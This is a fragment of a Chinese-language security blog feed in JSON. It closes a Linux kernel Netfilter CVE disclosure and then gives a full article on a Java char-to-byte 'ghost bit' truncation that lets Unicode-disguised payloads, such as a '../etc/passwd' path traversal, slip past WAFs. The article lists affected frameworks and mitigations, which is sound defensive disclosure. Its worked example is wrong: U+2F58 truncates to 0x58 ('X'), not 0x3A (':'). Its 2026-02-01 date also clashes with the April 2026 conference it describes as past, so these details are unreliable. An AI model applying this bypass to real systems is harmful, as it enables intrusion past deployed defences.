type=\"button\" aria-label=\"复制代码到剪贴板\" title=\"复制\" class=\"clean-btn\"><span class=\"copyButtonIcons_eSgA\" aria-hidden=\"true\"><svg viewBox=\"0 0 24 24\" class=\"copyButtonIcon_y97N\"><path fill=\"currentColor\" d=\"M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z\"></path></svg><svg viewBox=\"0 0 24 24\" class=\"copyButtonSuccessIcon_LjdS\"><path fill=\"currentColor\" d=\"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z\"></path></svg></span></button></div></div></div>\n<p>修复方案简洁有效，核心是在 <code>nft_user_data_copy</code> 入口处增加长度边界检查，阻止超长 userdata 写入。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"后续工作\">后续工作<a class=\"hash-link\" aria-label=\"后续工作的直接链接\" title=\"后续工作的直接链接\" href=\"https://www.ce.ac.cn/blog/zero-day-linux-kernel-cve-2026-1097/#%E5%90%8E%E7%BB%AD%E5%B7%A5%E4%BD%9C\">​</a></h2>\n<p>ICE 实验室将持续监控 Netfilter 子系统的安全状态，并计划发布针对 <code>nf_tables</code> 的专项 Fuzzing 工具集。</p>",
            "url": "https://www.ce.ac.cn/blog/zero-day-linux-kernel-cve-2026-1097/",
            "title": "CVE-2026-1097 Linux 内核零日漏洞披露与应急响应",
            "summary": "CVE-2026-1097（CVSS 9.8 Critical）是 ICE 实验室在对 Linux 内核 Netfilter 子系统进行 Fuzzing 测试时发现的一个零日漏洞，已于 2026 年 3 月通过负责任披露流程通知维护者。",
            "date_modified": "2026-03-15T00:00:00.000Z",
            "tags": [
                "Zero Day",
                "kernel",
                "Vulnerability",
                "Disclosure"
            ]
        },
        {
            "id": "https://www.ce.ac.cn/blog/java-charset-ghost-bit-waf-bypass/",
            "content_html": "<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"摘要\">摘要<a class=\"hash-link\" aria-label=\"摘要的直接链接\" title=\"摘要的直接链接\" href=\"https://www.ce.ac.cn/blog/java-charset-ghost-bit-waf-bypass/#%E6%91%98%E8%A6%81\">​</a></h2>\n<p>本文综述了在2026年4月Black Hat Asia安全大会上首次被系统披露的一种新型、系统性的Java生态安全威胁。该威胁源于Java编程语言中<code>char</code>（16位）类型向<code>byte</code>（8位）类型转换时，高位字节（即“幽灵比特位”）被静默丢弃的底层编码缺陷。攻击者可利用此缺陷构造特制的Unicode载荷，使其在Web应用防火墙等前端安全设备的检测中表现为无意义字符序列，而在目标Java后端解码时，该载荷通过高位截断被还原为原始攻击指令，从而有效绕过基于字符串特征匹配的安全检测，最终触发包括SQL注入、远程代码执行、文件上传、SMTP注入等多种高危攻击链。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"1-缺陷机理\">1. 缺陷机理<a class=\"hash-link\" aria-label=\"1. 缺陷机理的直接链接\" title=\"1. 缺陷机理的直接链接\" href=\"https://www.ce.ac.cn/blog/java-charset-ghost-bit-waf-bypass/#1-%E7%BC%BA%E9%99%B7%E6%9C%BA%E7%90%86\">​</a></h2>\n<p>Java语言规范中，<code>char</code>类型用于表示Unicode字符，占用16位存储空间，而<code>byte</code>类型仅占8位。在涉及<code>(byte)ch</code>、<code>ch &amp; 0xFF</code>、<code>ByteArrayOutputStream.write(ch)</code>、<code>DataOutputStream.writeBytes()</code>等常见转换操作时，系统会丢弃<code>char</code>值的高8位，仅保留低8位。例如，汉字“爻”（Unicode码点U+2F58，二进制<code>00101111 01011000</code>）在经<code>(byte)</code>转换后，高8位<code>0x2F</code>被丢弃，仅保留低8位<code>0x3A</code>，其ASCII对应字符为<code>:</code>。此机制意味着，任何ASCII字符均可被其低8位与之相同的特定Unicode字符所“伪装”。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"2-攻击模型与影响\">2. 攻击模型与影响<a class=\"hash-link\" aria-label=\"2. 攻击模型与影响的直接链接\" title=\"2. 攻击模型与影响的直接链接\" href=\"https://www.ce.ac.cn/blog/java-charset-ghost-bit-waf-bypass/#2-%E6%94%BB%E5%87%BB%E6%A8%A1%E5%9E%8B%E4%B8%8E%E5%BD%B1%E5%93%8D\">​</a></h2>\n<p>攻击模型为：攻击者将传统攻击载荷（如<code>../etc/passwd</code>）中的关键ASCII字符替换为上述“伪装”Unicode字符。当前端WAF/IDS对原始请求进行字符串匹配检测时，由于字符编码不同，无法识别威胁特征。当该请求被后端Java应用接收并处理时，在路径解析、参数解码、序列化、文件名处理等涉及<code>char</code>到<code>byte</code>转换的环节，幽灵比特位被丢弃，载荷被还原为原始攻击指令，从而成功执行。</p>\n<p>此缺陷在Java生态中广泛存在。据研究统计，在GitHub代码仓库中，存在此类风险写法的项目超过8,100个。其直接影响覆盖了主流的框架与中间件，包括但不限于：</p>\n<ul>\n<li><strong>Apache Commons BCEL、Fastjson</strong>：导致反序列化漏洞的WAF绕过。</li>\n<li><strong>Jackson Databind</strong>：导致SQL注入载荷绕过检测。</li>\n<li><strong>Apache Tomcat</strong>：实现恶意文件（如<code>.jsp</code> Webshell）的上传绕过。</li>\n<li><strong>Spring Framework、Jetty、Undertow</strong>：导致URL路径穿越与CRLF注入。</li>\n<li><strong>Angus Mail</strong>：实现SMTP注入，可能导致邮件劫持。</li>\n<li><strong>Apache HttpClient</strong>：可能导致HTTP请求走私。</li>\n</ul>\n<p>更严重的是，该技术可被用于绕过针对多个已公开高危漏洞（如GeoServer CVE-2024-36401、Spring Framework CVE-2022-22965）的现有WAF防护规则，使得相关系统在已部署安全设备的情况下依然暴露于远程代码执行风险之中。</p>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"3-缓解与修复方案\">3. 缓解与修复方案<a class=\"hash-link\" aria-label=\"3. 缓解与修复方案的直接链接\" title=\"3. 缓解与修复方案的直接链接\" href=\"https://www.ce.ac.cn/blog/java-charset-ghost-bit-waf-bypass/#3-%E7%BC%93%E8%A7%A3%E4%B8%8E%E4%BF%AE%E5%A4%8D%E6%96%B9%E6%A1%88\">​</a></h2>\n<p>针对此系统性风险，建议采取多层次防御措施：</p>\n<ol>\n<li><strong>组件升级</strong>：密切关注并升级受影响组件的至已修复版本。例如，将Apache Commons BCEL升级至6.12.0以上，Apache HttpClient升级至4.5.10以上。</li>\n<li><strong>安全设备增强</strong>：依赖传统正则匹配的WAF规则在此攻击面前基本失效。需在安全网关或WAF内部引入Unicode规范化（如NFC/NFKC）预处理，或转向在应用层解码后进行语义分析的深度检测模型。</li>\n<li><strong>代码层修复</strong>：审查并重构自研代码，避免使用<code>(byte)ch</code>、<code>ch &amp; 0xFF</code>等危险转换。应明确指定字符集，使用<code>String.getBytes(StandardCharsets.UTF_8)</code>等方法。</li>\n<li><strong>输入验证强化</strong>：在业务逻辑的输入校验点，对关键字段（如文件名、URL路径、邮件头）严格过滤或规范化非ASCII字符。</li>\n</ol>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"4-结论\">4. 结论<a class=\"hash-link\" aria-label=\"4. 结论的直接链接\" title=\"4. 结论的直接链接\" href=\"https://www.ce.ac.cn/blog/java-charset-ghost-bit-waf-bypass/#4-%E7%BB%93%E8%AE%BA\">​</a></h2>\n<p>“幽灵比特位”攻击揭示了Java生态中长期被忽视的一个底层编码隐患，其利用方式优雅且高效，对现有以特征匹配为核心的安全防护体系构成了严峻挑战。该缺陷的普遍性意味着大量Java应用面临潜在风险。修复此问题不仅需要依赖厂商的补丁，更需要开发者在编码实践中建立正确的字符集处理意识，以及安全团队在防御体系中部署能够理解编码语义的深层检测机制。</p>",
            "url": "https://www.ce.ac.cn/blog/java-charset-ghost-bit-waf-bypass/",
            "title": "基于Java字符编码“幽灵比特位”的安全威胁：一种新型WAF绕过机制的发现与分析",
            "summary": "系统性披露 Java 生态中 char 到 byte 转换导致高位字节静默丢弃的编码缺陷，攻击者可构造 Unicode 载荷绕过 WAF 检测。",
            "date_modified": "2026-02-01T00:00:00.000Z",
            "author": {
                "name": "ICE Lab"
            },
            "tags": [
                "Vulnerability",
                "Research"
            ]
        }
    ]
}